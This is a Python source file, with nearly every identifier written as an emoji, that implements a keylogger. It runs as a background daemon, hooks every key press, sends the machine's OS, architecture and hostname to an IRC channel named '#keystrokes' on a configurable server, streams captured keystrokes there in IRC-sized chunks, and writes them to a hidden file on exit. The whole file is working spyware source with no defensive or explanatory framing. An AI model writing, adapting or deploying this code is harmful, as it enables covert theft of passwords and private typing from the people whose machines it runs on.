🪵.🐍

import threading as 🧵
import platform as 📱
import keyboard as ⌨
import daemon as 😈
import select as ☑️
import socket as 🔌
import time as 🕰️

🏢 = "localhost"
🚪 = 6667
🎚️ = "#keystrokes"
👤 = "emoji"
📁 = ".💼"

🏃‍♂️ = False
🔝 = 510 - 12 - len(🎚️)

class 🪵:
    
    def __init__(self):

        global 🏃‍♂️, 🏢, 🚪, 🎚️, 👤, 📁, 🧵, ⌨

        self.📜 = ""
        self.📖 = ""

        🏃‍♂️ = True

        self.🛜(🏢, 🚪, 🎚️, 👤)

        self.🪡 = 🧵.Thread(target=self.🏓)
        self.🪡.start()

        ⌨.on_press(self.👇)

        ⌨.wait("esc")
        🏃‍♂️ = False
        self.🏁(📁)


    # Connect to IRC server and join channel
    def 🛜(self, 🏢, 🚪, 🎚️, 👤):
        global 🔌, 🕰️

        📡 = 🔌.socket(🔌.AF_INET, 🔌.SOCK_STREAM)
        📡.setblocking(False)

        try:
            📡.connect((🏢, 🚪))
        except BlockingIOError:
            pass

        🕰️.sleep(3)
        📡.send(bytes("USER " + 👤 + " * * : " + 👤 + "\r\n", "UTF-8"))
        📡.send(bytes("NICK " + 👤 + "\r\n", "UTF-8"))
        📡.send(bytes("JOIN " + 🎚️ + "\r\n", "UTF-8"))

        📋 = self.ℹ️()

        for 🪪 in 📋:
            🕰️.sleep(0.3)
            📡.send(bytes("PRIVMSG " + 🎚️ + " : " + 🪪 + "\r\n", "UTF-8"))

        self.📡 = 📡


    # On key press function
    def 👇(self, 🧑🏽‍💻):
        global 🔝

        🔑 = 🧑🏽‍💻.name

        # Do some readability adjustments
        if 🔑 in ["enter", "space"]:
            🔑 = " "
        elif 🔑 == "backspace":
            self.📜 = self.📜[:-1]

        if len(🔑) == 1:
            if ⌨.is_pressed("shift") or ⌨.is_pressed("caps lock"):
                🔑 = 🔑.upper()

            self.📜 += 🔑

        # Send the captured keystrokes to the IRC server if the size reaches the maximum allowed length of an IRC message
        self.📖 = self.📜[int(len(self.📜) / 🔝) * 🔝:]

        if len(self.📖) >= 🔝 - 1:
            self.📡.send(bytes("PRIVMSG " + 🎚️ + " : " + self.📖 + "\r\n", "UTF-8"))
            

    # Get system information
    def ℹ️(self) -> list[str]:
        global 📱, 🔌

        🔙 = []

        📐, 💽 = 📱.architecture()
        🔙.append("+---------------")
        🔙.append(f"| OS: {📱.system()} {📱.release()} {📱.version()}")
        🔙.append(f"| Architecture/Processor: {📐} {💽} {📱.processor()}")
        🔙.append(f"| Hostname: {🔌.gethostname()}")
        🔙.append("+---------------")

        return 🔙


    # Keep alive mechanism
    def 🏓(self):
        global 🏃‍♂️, ☑️, 🕰️

        while 🏃‍♂️:
            👁️‍🗨️, _, _ = ☑️.select(filter(lambda 🛰️: 🛰️.fileno() != -1, [self.📡]), [], [], 0)

            if self.📡 in 👁️‍🗨️:
                📲 = self.📡.recv(4096).decode()

                if "PING" in 📲:
                    self.📡.send(bytes("PONG " + 📲.split(" ")[1] + "\r\n", "UTF-8"))
            
            🕰️.sleep(1)


    # Save captured keystrokes to file
    def 🏁(self, 📁):
        with open(📁, "w") as 📄:
            📄.write(self.📜)

        self.📡.close()


if __name__ == "__main__":
    with 😈.DaemonContext():
        🪵()